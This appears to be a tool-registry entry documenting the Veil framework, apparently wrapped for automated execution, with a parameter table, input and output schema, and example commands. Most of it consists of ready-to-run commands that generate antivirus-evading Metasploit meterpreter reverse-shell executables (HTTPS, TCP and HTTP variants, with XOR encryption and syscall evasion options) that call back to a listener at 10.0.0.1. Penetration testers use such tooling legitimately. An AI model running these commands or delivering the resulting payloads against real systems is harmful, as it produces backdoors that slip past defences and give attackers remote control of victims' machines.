Veil framework for generating Metasploit-compatible payloads that bypass common anti-virus solutions.
veil -t {tool} -p {payload} --ip {lhost} --port {lport} 🌍 tool → Evasion 🌍 payload → cs/meterpreter/rev_https.py 🌍 lhost → 10.0.0.1 🌍 lport → 4444 veil -t {tool} -p {payload} --ip {lhost} --port {lport}Sandbox: execFile · Timeout: 300s
payload.generation av.evasion metasploit.integration shellcode.encoding | Name | Type | Required | Default | Description | Aliases |
|---|---|---|---|---|---|
tool | string | No | - | Tool/payload type (Evasion, Ordnance, etc.) | -t, --tool |
payload | string | No | - | Payload name to generate | -p, --payload |
flag-o | string | No | - | Output file path | -o, --output |
flag-l | string | No | - | Listener payload type | -l, --listener |
flag-ip | string | No | - | Listener IP address | --ip |
flag-port | integer | No | - | Listener port | --port |
flag-msfvenom | boolean | No | - | Use msfvenom for payload generation | --msfvenom |
flag-c | string | No | - | Config file path | -c, --config |
flag-v | boolean | No | - | Verbose output | -v, --verbose |
encrypt | string | No | - | Encryption method | --encrypt |
evasion | string | No | - | Evasion technique | --evasion |
h | boolean | No | - | Show this help message | -h, --help |
no_msfvenom | boolean | No | - | Disable msfvenom payload generation | --no-msfvenom |
Inputs
payload.type Type of payload to generate
network.lhost Listener IP for reverse connection
network.lport Listener port for reverse connection
evasion.technique AV evasion technique to apply
Outputs
payload.binary Generated evasive payload
filesystem_write Produces
payload.binaryConsumes
payload.typenetwork.lhostnetwork.lportevasion.technique| Resource | Value |
|---|---|
| CPU | medium |
| Memory | 128 MB |
| Network | low |
| Disk I/O | medium |
Generate meterpreter reverse HTTPS payload
veil -t Evasion -p cs/meterpreter/rev_https.py --ip 10.0.0.1 --port 443Generate reverse TCP payload
veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444Generate with output file
veil -t Evasion -p cs/meterpreter/rev_http.py --ip 10.0.0.1 --port 80 -o payload.exeGenerate with specific evasion technique
veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --evasion syscallsUse msfvenom base generation
veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --msfvenomVerbose mode with encryption
veil -t Evasion -p cs/meterpreter/rev_tcp.py --ip 10.0.0.1 --port 4444 --encrypt xor -vVeil is a framework designed to generate Metasploit-compatible payloads that circumvent common anti-virus solutions. It uses various encoding, encryption, and obfuscation techniques to produce evasive executables.